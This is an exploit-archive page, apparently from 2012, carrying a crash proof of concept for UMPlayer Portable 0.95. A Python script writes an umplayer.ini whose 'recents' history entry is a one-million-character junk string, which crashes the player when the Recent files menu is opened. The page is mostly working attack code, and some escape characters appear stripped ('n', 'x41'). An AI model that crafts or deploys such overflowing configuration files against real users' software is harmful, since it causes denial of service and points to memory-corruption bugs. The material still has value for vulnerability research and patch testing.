[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : UMPlayer Portable 0.95 Crash PoC
# Published : 2012-11-29
# Author :
# Previous Title : RealPlayer 15.0.6.14 .3gp Crash PoC
# Next Title : FastStone Image Viewer 4.6 <= ReadAVonIP Crash PoC


# Exploit Title: UMPlayer (Portable Edition)
# Date: 2012-11-28
# Exploit Author: p3kok
# Vendor Homepage: http://www.umplayer.com/
# Software Link: http://sourceforge.net/projects/umplayer/ or http://www.umplayer.com/download/
# Version: 0.95(Portable Edition) Compiled 4.7.0
# Tested on: xp sp 2

###### Crash POC ###### 
# Aplication Crashed when mouse over on "Recent files" submenu under "Open" menu 
# 1. Generate umplayer.ini file with this code
# 2. Put umplayer.ini file in UMPlayerPortable directory
# 2. Open UMPlayer.exe
# 3. From "Open" menu, Clik "Recent files" and got the crash

file =("[%General]" + "n"
"mplayer_bin=mplayer/mplayer.exe" + "n"
"driver\vo="directx,"" + "n"
"driver\ao=dsound" + "n"
"use_screenshot=true" + "n"
"screenshot_directory=./screenshots" + "n"
"recordings_directory=./recordings" + "n"
"dont_remember_media_settings=false" + "n"
"dont_remember_time_pos=false" + "n"
"audio_lang=" + "n"
"subtitle_lang=" + "n"
"use_direct_rendering=false" + "n"
"use_double_buffer=true" + "n"
"use_soft_video_eq=false" + "n"
"use_slices=false" + "n"
"autoq=6" + "n"
"add_blackborders_on_fullscreen=false" + "n"
"turn_screensaver_off=false" + "n"
"avoid_screensaver=true" + "n"
"use_soft_vol=true" + "n"
"softvol_max=110" + "n"
"use_scaletempo=-1" + "n"
"use_hwac3=false" + "n"
"use_audio_equalizer=true" + "n"
"global_volume=true" + "n"
"volume=50" + "n"
"mute=false" + "n"
"autosync=false" + "n"
"autosync_factor=100" + "n"
"use_mc=false" + "n"
"mc_value=0" + "n"
"loop=false" + "n"
"osd=0" + "n"
"file_settings_method=hash" + "n"
"font_cache=false" + "n"
"playCount=11" + "n" + "n" )

junk = "x41" * 1000000
file+="[history]" + "n"
file+="recents=" + junk

out_file = open("umplayer.ini",'w')
out_file.write(file)
out_file.close()